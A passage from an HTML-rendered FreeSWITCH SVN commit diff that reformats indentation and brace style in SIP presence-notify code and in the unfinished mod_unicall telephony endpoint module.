</del><ins>+        nh = nua_handle_by_call_id(helper->profile->nua, call_id);        /* that's all you need to find the subscription's nh */
</ins><span class="cx">
</span><span class="cx">         if (nh) {
</span><span class="cx">
</span><span class="lines">@@ -384,24 +377,21 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (helper->profile->extsipip) {
</span><del>-                        if (sofia_glue_check_nat(helper->profile, network_ip)) {
</del><ins>+                        if (sofia_glue_check_nat(helper->profile, network_ip)) {
</ins><span class="cx">                                 fixup = switch_string_replace(helper->payload, helper->profile->sipip, helper->profile->extsipip);
</span><del>-                        } else {
</del><ins>+                        } else {
</ins><span class="cx">                                 fixup = switch_string_replace(helper->payload, helper->profile->extsipip, helper->profile->sipip);
</span><span class="cx">                         }
</span><span class="cx">                         xml_fixup = fixup;
</span><span class="cx">                 } else {
</span><span class="cx">                         xml_fixup = helper->payload;
</span><span class="cx">                 }
</span><del>-                
-                nua_notify(nh,
-                                 SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
-                                 TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
-                                 SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"),        /* could've just kept the type from the payload */
-                                 SIPTAG_PAYLOAD_STR(xml_fixup),
-                                 TAG_END());
</del><ins>+
+                nua_notify(nh, SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"),        /* XXX MTK FIXME - this is totally fake calculation */
+                                 TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"),        /* could've just kept the type from the payload */
+                                 SIPTAG_PAYLOAD_STR(xml_fixup), TAG_END());
</ins><span class="cx">                 switch_safe_free(route_uri);
</span><del>-                if (fixup && fixup != helper->payload) {
</del><ins>+                if (fixup && fixup != helper->payload) {
</ins><span class="cx">                         free(fixup);
</span><span class="cx">                 }
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_unicallmod_unicallc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_unicall/mod_unicall.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -30,7 +30,7 @@
</span><span class="cx"> * mod_unicall.c -- UniCall endpoint module
</span><span class="cx"> *
</span><span class="cx"> */
</span><del>-
</del><ins>+
</ins><span class="cx"> /* This is a work in progress. Unfinished. Non-functional */
</span><span class="cx">
</span><span class="cx"> #include <switch.h>
</span><span class="lines">@@ -39,7 +39,7 @@
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_unicall_load);
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unicall_shutdown);
</span><span class="cx"> //SWITCH_MODULE_RUNTIME_FUNCTION(mod_unicall_runtime);
</span><del>-SWITCH_MODULE_DEFINITION(mod_unicall, mod_unicall_load, mod_unicall_shutdown, NULL); //mod_unicall_runtime);
</del><ins>+SWITCH_MODULE_DEFINITION(mod_unicall, mod_unicall_load, mod_unicall_shutdown, NULL);        //mod_unicall_runtime);
</ins><span class="cx">
</span><span class="cx"> #define MAX_SPANS 128
</span><span class="cx">
</span><span class="lines">@@ -47,77 +47,74 @@
</span><span class="cx"> static switch_memory_pool_t *module_pool = NULL;
</span><span class="cx"> static volatile int running = 1;
</span><span class="cx">
</span><del>-typedef struct
-{
- int span;
- const char *id;
- const char *protocol_class;
- const char *protocol_variant;
- int protocol_end;
- int outgoing_ok;
</del><ins>+typedef struct {
+        int span;
+        const char *id;
+        const char *protocol_class;
+        const char *protocol_variant;
+        int protocol_end;
+        int outgoing_ok;
</ins><span class="cx">         char *dialplan;
</span><span class="cx">         char *context;
</span><del>- int fd;
- uc_t *uc;
</del><ins>+        int fd;
+        uc_t *uc;
</ins><span class="cx"> } span_data_t;
</span><span class="cx">
</span><span class="cx"> span_data_t *span_data[MAX_SPANS];
</span><span class="cx">
</span><span class="cx"> typedef enum {
</span><del>- TFLAG_IO = (1 << 0),
- TFLAG_INBOUND = (1 << 1),
- TFLAG_OUTBOUND = (1 << 2),
- TFLAG_DTMF = (1 << 3),
- TFLAG_VOICE = (1 << 4),
- TFLAG_HANGUP = (1 << 5),
- TFLAG_LINEAR = (1 << 6),
- TFLAG_CODEC = (1 << 7),
- TFLAG_BREAK = (1 << 8)
</del><ins>+        TFLAG_IO = (1 << 0),
+        TFLAG_INBOUND = (1 << 1),
+        TFLAG_OUTBOUND = (1 << 2),
+        TFLAG_DTMF = (1 << 3),
+        TFLAG_VOICE = (1 << 4),
+        TFLAG_HANGUP = (1 << 5),
+        TFLAG_LINEAR = (1 << 6),
+        TFLAG_CODEC = (1 << 7),
+        TFLAG_BREAK = (1 << 8)
</ins><span class="cx"> } TFLAGS;
</span><span class="cx">
</span><span class="cx"> typedef enum {
</span><del>- GFLAG_MY_CODEC_PREFS = (1 << 0)
</del><ins>+        GFLAG_MY_CODEC_PREFS = (1 << 0)
</ins><span class="cx"> } GFLAGS;
</span><span class="cx">
</span><span class="cx">
</span><del>-static struct
-{
- int debug;
- /*! Requested frame duration, in ms */
- uint32_t frame_duration;
- int dtmf_on;
- int dtmf_off;
- int suppress_dtmf_tone;
- int ignore_dtmf_tone;
- char *dialplan;
- char *codec_string;
- char *codec_order[SWITCH_MAX_CODECS];
- int codec_order_last;
- char *codec_rates_string;
- char *codec_rates[SWITCH_MAX_CODECS];
- int codec_rates_last;
- unsigned int flags;
- int calls;
- int configured_spans;
</del><ins>+static struct {
+        int debug;
+        /*! Requested frame duration, in ms */
+        uint32_t frame_duration;
+        int dtmf_on;
+        int dtmf_off;
+        int suppress_dtmf_tone;
+        int ignore_dtmf_tone;
+        char *dialplan;
+        char *codec_string;
+        char *codec_order[SWITCH_MAX_CODECS];
+        int codec_order_last;
+        char *codec_rates_string;
+        char *codec_rates[SWITCH_MAX_CODECS];
+        int codec_rates_last;
+        unsigned int flags;
+        int calls;
+        int configured_spans;
</ins><span class="cx">         switch_hash_t *call_hash;
</span><del>- switch_mutex_t *mutex;
- switch_mutex_t *hash_mutex;
- switch_mutex_t *channel_mutex;
</del><ins>+        switch_mutex_t *mutex;
+        switch_mutex_t *hash_mutex;
+        switch_mutex_t *channel_mutex;
</ins><span class="cx"> } globals;
</span><span class="cx">
</span><del>-typedef struct
-{
- unsigned int flags;
- switch_codec_t read_codec;
- switch_codec_t write_codec;
- switch_frame_t read_frame;
- uint8_t databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
- switch_core_session_t *session;
- switch_caller_profile_t *caller_profile;
- switch_mutex_t *mutex;
- switch_mutex_t *flag_mutex;
- //switch_thread_cond_t *cond;
- uc_t *uc;
</del><ins>+typedef struct {
+        unsigned int flags;
+        switch_codec_t read_codec;
+        switch_codec_t write_codec;
+        switch_frame_t read_frame;
+        uint8_t databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+        switch_core_session_t *session;
+        switch_caller_profile_t *caller_profile;
+        switch_mutex_t *mutex;
+        switch_mutex_t *flag_mutex;
+        //switch_thread_cond_t *cond;
+        uc_t *uc;
</ins><span class="cx"> } private_t;
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -133,11 +130,10 @@
</span><span class="cx"> static switch_status_t unicall_on_soft_execute(switch_core_session_t *session);
</span><span class="cx">
</span><span class="cx"> static switch_call_cause_t unicall_outgoing_channel(switch_core_session_t *session,
</span><del>- switch_event_t *var_event,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session,
- switch_memory_pool_t **pool,
- switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_event_t *var_event,
+                                                                                                        switch_caller_profile_t *outbound_profile,
+                                                                                                        switch_core_session_t **new_session,
+                                                                                                        switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t unicall_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t unicall_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t unicall_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -147,723 +143,692 @@
</span><span class="cx">
</span><span class="cx"> static void unicall_message(int level, const char *s)
</span><span class="cx"> {
</span><del>- int switch_level;
-
- switch (level)
- {
- case UC_LOG_NONE:
- switch_level = SWITCH_LOG_CRIT;
- break;
- case UC_LOG_ERROR:
- switch_level = SWITCH_LOG_ERROR;
- break;
- case UC_LOG_WARNING:
- switch_level = SWITCH_LOG_WARNING;
- break;
- case UC_LOG_PROTOCOL_ERROR:
- switch_level = SWITCH_LOG_ERROR;
- break;
- case UC_LOG_PROTOCOL_WARNING:
- switch_level = SWITCH_LOG_WARNING;
- break;
- case UC_LOG_INFO:
- switch_level = SWITCH_LOG_NOTICE;
- //switch_level = SWITCH_LOG_NOTICE;
- break;
- case UC_LOG_FLOW:
- case UC_LOG_FLOW_2:
- case UC_LOG_FLOW_3:
- case UC_LOG_CAS:
- case UC_LOG_TONE:
- case UC_LOG_DEBUG_1:
- case UC_LOG_DEBUG_2:
- case UC_LOG_DEBUG_3:
- switch_level = SWITCH_LOG_DEBUG;
- break;
- default:
- switch_level = SWITCH_LOG_CRIT;
- break;
- }
- switch_log_printf(SWITCH_CHANNEL_LOG, switch_level, s);
</del><ins>+        int switch_level;
+
+        switch (level) {
+        case UC_LOG_NONE:
+                switch_level = SWITCH_LOG_CRIT;
+                break;
+        case UC_LOG_ERROR:
+                switch_level = SWITCH_LOG_ERROR;
+                break;
+        case UC_LOG_WARNING:
+                switch_level = SWITCH_LOG_WARNING;
+                break;
+        case UC_LOG_PROTOCOL_ERROR:
+                switch_level = SWITCH_LOG_ERROR;
+                break;
+        case UC_LOG_PROTOCOL_WARNING:
+                switch_level = SWITCH_LOG_WARNING;
+                break;
+        case UC_LOG_INFO:
+                switch_level = SWITCH_LOG_NOTICE;
+                //switch_level = SWITCH_LOG_NOTICE;
+                break;
+        case UC_LOG_FLOW:
+        case UC_LOG_FLOW_2:
+        case UC_LOG_FLOW_3:
+        case UC_LOG_CAS:
+        case UC_LOG_TONE:
+        case UC_LOG_DEBUG_1:
+        case UC_LOG_DEBUG_2:
+        case UC_LOG_DEBUG_3:
+                switch_level = SWITCH_LOG_DEBUG;
+                break;
+        default:
+                switch_level = SWITCH_LOG_CRIT;
+                break;
+        }
+        switch_log_printf(SWITCH_CHANNEL_LOG, switch_level, s);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void unicall_report(const char *s)
</span><span class="cx"> {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, s);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, s);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #if 0
</span><span class="cx"> static switch_call_cause_t unicall_incoming_channel(zap_sigmsg_t *sigmsg, switch_core_session_t **sp)
</span><span class="cx"> {
</span><del>- switch_core_session_t *session = NULL;
- private_t *tech_pvt = NULL;
- switch_channel_t *channel = NULL;
- char name[128];
-
- *sp = NULL;
-
- if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL)))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
- return ZAP_FAIL;
- }
-
- switch_core_session_add_stream(session, NULL);
-
- tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t));
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- if (tech_init(tech_pvt, session, sigmsg->channel) != SWITCH_STATUS_SUCCESS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
- switch_core_session_destroy(&session);
- return ZAP_FAIL;
- }
-
- *sigmsg->channel->caller_data.collected = '\0';
-
- if (sigmsg->channel->caller_data.cid_name[0] == '\0')
- switch_set_string(sigmsg->channel->caller_data.cid_name, sigmsg->channel->chan_name);
</del><ins>+        switch_core_session_t *session = NULL;
+        private_t *tech_pvt = NULL;
+        switch_channel_t *channel = NULL;
+        char name[128];
</ins><span class="cx">
</span><del>- if (sigmsg->channel->caller_data.cid_num.digits[0] == '\0')
- {
- if (sigmsg->channel->caller_data.ani.digits[0] != '\0')
- switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->caller_data.ani.digits);
- else
- switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->chan_number);
- }
</del><ins>+        *sp = NULL;
</ins><span class="cx">
</span><del>- tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
- "UniCall",
- SPAN_CONFIG[sigmsg->channel->span_id].dialplan,
- sigmsg->channel->caller_data.cid_name,
- sigmsg->channel->caller_data.cid_num.digits,
- NULL,
- sigmsg->channel->caller_data.ani.digits,
- sigmsg->channel->caller_data.aniII,
- sigmsg->channel->caller_data.rdnis.digits,
- (char *) modname,
- SPAN_CONFIG[sigmsg->channel->span_id].context,
- sigmsg->channel->caller_data.dnis.digits);
- assert(tech_pvt->caller_profile != NULL);
</del><ins>+        if (!(session = switch_core_session_request(openzap_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
+                return ZAP_FAIL;
+        }
</ins><span class="cx">
</span><del>- if (sigmsg->channel->caller_data.screen == 1 || sigmsg->channel->caller_data.screen == 3)
- switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_SCREEN);
</del><ins>+        switch_core_session_add_stream(session, NULL);
</ins><span class="cx">
</span><del>- if (sigmsg->channel->caller_data.pres)
- switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
-
- snprintf(name, sizeof(name), "UNICALL/%u:%u/%s", sigmsg->channel->span_id, sigmsg->channel->chan_id, tech_pvt->caller_profile->destination_number);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connect inbound channel %s\n", name);
- switch_channel_set_name(channel, name);
- switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
-
- switch_channel_set_state(channel, CS_INIT);
- if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error spawning thread\n");
- switch_core_session_destroy(&session);
- return ZAP_FAIL;
- }
</del><ins>+        tech_pvt = (private_t *) switch_core_session_alloc(session, sizeof(private_t));
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        if (tech_init(tech_pvt, session, sigmsg->channel) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Initialization Error!\n");
+                switch_core_session_destroy(&session);
+                return ZAP_FAIL;
+        }
</ins><span class="cx">
</span><del>- if (zap_channel_add_token(sigmsg->channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error adding token\n");
- switch_core_session_destroy(&session);
- return ZAP_FAIL;
- }
- *sp = session;
</del><ins>+        *sigmsg->channel->caller_data.collected = '\0';
</ins><span class="cx">
</span><del>- return ZAP_SUCCESS;
</del><ins>+        if (sigmsg->channel->caller_data.cid_name[0] == '\0')
+                switch_set_string(sigmsg->channel->caller_data.cid_name, sigmsg->channel->chan_name);
+
+        if (sigmsg->channel->caller_data.cid_num.digits[0] == '\0') {
+                if (sigmsg->channel->caller_data.ani.digits[0] != '\0')
+                        switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->caller_data.ani.digits);
+                else
+                        switch_set_string(sigmsg->channel->caller_data.cid_num.digits, sigmsg->channel->chan_number);
+        }
+
+        tech_pvt->caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                                 "UniCall",
+                                                                                                                 SPAN_CONFIG[sigmsg->channel->span_id].dialplan,
+                                                                                                                 sigmsg->channel->caller_data.cid_name,
+                                                                                                                 sigmsg->channel->caller_data.cid_num.digits,
+                                                                                                                 NULL,
+                                                                                                                 sigmsg->channel->caller_data.ani.digits,
+                                                                                                                 sigmsg->channel->caller_data.aniII,
+                                                                                                                 sigmsg->channel->caller_data.rdnis.digits,
+                                                                                                                 (char *) modname,
+                                                                                                                 SPAN_CONFIG[sigmsg->channel->span_id].context, sigmsg->channel->caller_data.dnis.digits);
+        assert(tech_pvt->caller_profile != NULL);
+
+        if (sigmsg->channel->caller_data.screen == 1 || sigmsg->channel->caller_data.screen == 3)
+                switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_SCREEN);
+
+        if (sigmsg->channel->caller_data.pres)
+                switch_set_flag(tech_pvt->caller_profile, SWITCH_CPF_HIDE_NAME | SWITCH_CPF_HIDE_NUMBER);
+
+        snprintf(name, sizeof(name), "UNICALL/%u:%u/%s", sigmsg->channel->span_id, sigmsg->channel->chan_id, tech_pvt->caller_profile->destination_number);
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Connect inbound channel %s\n", name);
+        switch_channel_set_name(channel, name);
+        switch_channel_set_caller_profile(channel, tech_pvt->caller_profile);
+
+        switch_channel_set_state(channel, CS_INIT);
+        if (switch_core_session_thread_launch(session) != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error spawning thread\n");
+                switch_core_session_destroy(&session);
+                return ZAP_FAIL;
+        }
+
+        if (zap_channel_add_token(sigmsg->channel, switch_core_session_get_uuid(session), 0) != ZAP_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Error adding token\n");
+                switch_core_session_destroy(&session);
+                return ZAP_FAIL;
+        }
+        *sp = session;
+
+        return ZAP_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> static void on_devicefail(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_devicefail\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_devicefail\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_protocolfail(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_protocolfail\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_protocolfail\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_sigchanstatus(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sigchanstatus\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_sigchanstatus\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_detected(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
- //struct channel_map *chanmap;
- //char name[128];
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
+        //struct channel_map *chanmap;
+        //char name[128];
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_detected\n");
- switch_mutex_lock(globals.channel_mutex);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_detected\n");
+        switch_mutex_lock(globals.channel_mutex);
</ins><span class="cx">
</span><del>- //chanmap = spri->private_info;
</del><ins>+        //chanmap = spri->private_info;
</ins><span class="cx">
</span><span class="cx"> #if 0
</span><del>- if ((session = switch_core_session_locate(chanmap->map[e->offered.channel])))
- {
- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "--Duplicate detected on channel s%dc%d (ignored)\n",
- spri->span,
- e->offered.channel);
- switch_core_session_rwunlock(session);
- switch_mutex_unlock(globals.channel_mutex);
- return;
- }
</del><ins>+        if ((session = switch_core_session_locate(chanmap->map[e->offered.channel]))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "--Duplicate detected on channel s%dc%d (ignored)\n", spri->span, e->offered.channel);
+                switch_core_session_rwunlock(session);
+                switch_mutex_unlock(globals.channel_mutex);
+                return;
+        }
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG,
- SWITCH_LOG_NOTICE,
- "-- Detected on channel s%dc%d (from %s to %s)\n",
- spri->span,
- e->offered.channel,
- e->offered.parms.originating_number,
- e->offered.parms.destination_number);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG,
+                                         SWITCH_LOG_NOTICE,
+                                         "-- Detected on channel s%dc%d (from %s to %s)\n",
+                                         spri->span, e->offered.channel, e->offered.parms.originating_number, e->offered.parms.destination_number);
</ins><span class="cx">
</span><del>- switch_mutex_unlock(chanmap->mutex);
</del><ins>+        switch_mutex_unlock(chanmap->mutex);
</ins><span class="cx">
</span><del>- //pri_proceeding(spri->pri, e->offered.call, e->offered.channel, 0);
- //pri_acknowledge(spri->pri, e->offered.call, e->offered.channel, 0);
</del><ins>+        //pri_proceeding(spri->pri, e->offered.call, e->offered.channel, 0);
+        //pri_acknowledge(spri->pri, e->offered.call, e->offered.channel, 0);
</ins><span class="cx">
</span><del>- switch_mutex_unlock(chanmap->mutex);
</del><ins>+        switch_mutex_unlock(chanmap->mutex);
</ins><span class="cx">
</span><del>- if ((session = unicall_incoming_channel(sigmsg, &session)))
- {
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot create new inbound channel!\n");
- }
</del><ins>+        if ((session = unicall_incoming_channel(sigmsg, &session))) {
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot create new inbound channel!\n");
+        }
</ins><span class="cx"> #endif
</span><del>- switch_mutex_unlock(globals.channel_mutex);
</del><ins>+        switch_mutex_unlock(globals.channel_mutex);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_offered(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- //switch_channel_t *channel;
- //private_t *tech_pvt;
- //struct channel_map *chanmap;
- //char name[128];
</del><ins>+        //switch_channel_t *channel;
+        //private_t *tech_pvt;
+        //struct channel_map *chanmap;
+        //char name[128];
</ins><span class="cx">
</span><del>- //tech_pvt = switch_core_session_get_private(session);
- //assert(tech_pvt != NULL);
- //channel = switch_core_session_get_channel(session);
- //assert(channel != NULL);
</del><ins>+        //tech_pvt = switch_core_session_get_private(session);
+        //assert(tech_pvt != NULL);
+        //channel = switch_core_session_get_channel(session);
+        //assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_offered\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_offered\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_requestmoreinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_requestmoreinfo\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_requestmoreinfo\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_accepted(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_accepted\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_accepted\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_callinfo(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_callinfo\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_callinfo\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_facility(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
+        assert(tech_pvt != NULL);
+        channel = switch_core_session_get_channel(session);
+        assert(channel != NULL);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_facility\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "on_facility\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static void on_dialednumber(uc_t *uc, switch_core_session_t *session, uc_event_t *e)
</span><span class="cx"> {
</span><del>- switch_channel_t *channel;
- private_t *tech_pvt;
</del><ins>+        switch_channel_t *channel;
+        private_t *tech_pvt;
</ins><span class="cx">
</span><del>- tech_pvt = switch_core_session_get_private(session);
- assert(tech_pvt != NULL);
- channel = switch_core_session_get_channel(session);
- assert(channel != NULL);
</del><ins>+        tech_pvt = switch_core_session_get_private(session);
